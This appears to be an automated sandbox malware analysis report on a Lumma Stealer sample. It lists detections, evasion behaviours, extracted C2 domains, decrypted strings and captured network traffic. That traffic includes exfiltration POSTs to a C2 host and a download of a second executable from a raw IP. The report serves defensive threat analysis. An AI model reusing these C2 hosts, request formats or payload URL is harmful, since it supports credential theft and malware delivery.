Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1542980
MD5:	f562dfc98c5958fa4687891bc0ac3719
SHA1:	3a855b5931aed6b4ccc1d30645334282aed25cb7
SHA256:	1efd8f4be1f31d5b26bcc135bec0760c90aede0d9dc24d479a26d8d49512f540
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5016 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F562DFC98C5958FA4687891BC0AC3719)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["scriptyprefej.store", "founpiuer.store", "necklacedmny.store", "crisiwarny.store", "presticitpo.store", "thumbystriw.store", "fadehairucw.store", "navygenerayk.store"], "Build id": "4SD0y4--legendaryy"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1770573568.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5016	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 5016	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5016	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T02:03:01.854278+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	172.67.170.64	443	TCP
2024-10-27T02:03:02.983394+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	172.67.170.64	443	TCP
2024-10-27T02:03:16.070325+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49737	172.67.170.64	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T02:03:01.854278+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	172.67.170.64	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T02:03:02.983394+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	172.67.170.64	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T02:03:16.995396+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49738	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T02:03:09.364373+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49735	172.67.170.64	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: file.exe.5016.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["scriptyprefej.store", "founpiuer.store", "necklacedmny.store", "crisiwarny.store", "presticitpo.store", "thumbystriw.store", "fadehairucw.store", "navygenerayk.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 46%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\G5E9NUKC2KTUY7LAVOIZ5RDE8.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2139322059.00000000007D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: scriptyprefej.store
Source: 00000000.00000002.2139322059.00000000007D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: navygenerayk.store
Source: 00000000.00000002.2139322059.00000000007D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: founpiuer.store
Source: 00000000.00000002.2139322059.00000000007D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: necklacedmny.store
Source: 00000000.00000002.2139322059.00000000007D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: thumbystriw.store
Source: 00000000.00000002.2139322059.00000000007D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fadehairucw.store
Source: 00000000.00000002.2139322059.00000000007D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: crisiwarny.store
Source: 00000000.00000002.2139322059.00000000007D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.2139322059.00000000007D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.2139322059.00000000007D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2139322059.00000000007D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2139322059.00000000007D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2139322059.00000000007D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2139322059.00000000007D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2139322059.00000000007D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 4SD0y4--legendaryy

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49737 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49737 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49735 -> 172.67.170.64:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: navygenerayk.store

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 27 Oct 2024 01:03:16 GMTContent-Type: application/octet-streamContent-Length: 2844672Last-Modified: Sun, 27 Oct 2024 00:07:17 GMTConnection: keep-aliveETag: "671d8435-2b6800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 2c 93 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 71 76 6d 6b 79 73 61 6e 00 20 2b 00 00 a0 00 00 00 06 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 6d 6c 63 77 77 6c 7a 00 20 00 00 00 c0 2b 00 00 06 00 00 00 40 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 46 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 172.67.170.64 172.67.170.64
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49738 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18168Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8789Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20442Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1263Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 587126Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store

Source: file.exe, 00000000.00000003.2137324066.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2140476340.0000000000F10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2137324066.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2140476340.0000000000F10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/8
Source: file.exe, 00000000.00000003.2137324066.0000000000F1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2138991532.000000000064A000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000003.2137324066.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2140476340.0000000000F10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.2140476340.0000000000E9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2137486153.0000000000E9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: file.exe, 00000000.00000003.1750672444.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1750672444.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1750672444.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1750672444.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1750672444.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1750672444.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1750672444.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1750672444.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1750672444.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.1750672444.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1750672444.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1723200351.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.1765836394.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1765867049.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000003.1765836394.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1765867049.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1723200351.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1723200351.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1723200351.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.1765836394.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1765867049.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000003.1765836394.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1765867049.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2137607532.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/
Source: file.exe, 00000000.00000002.2140853839.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/&
Source: file.exe, 00000000.00000003.1802131784.0000000000F31000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750236871.00000000055B0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1785438684.0000000000F35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1766077823.00000000055AA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2140853839.0000000000F31000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1785536498.0000000000F1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api
Source: file.exe, 00000000.00000003.1802224111.00000000055B0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750017927.00000000055B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apiE5
Source: file.exe, 00000000.00000003.1802131784.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1795708631.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2140853839.0000000000F37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apid/
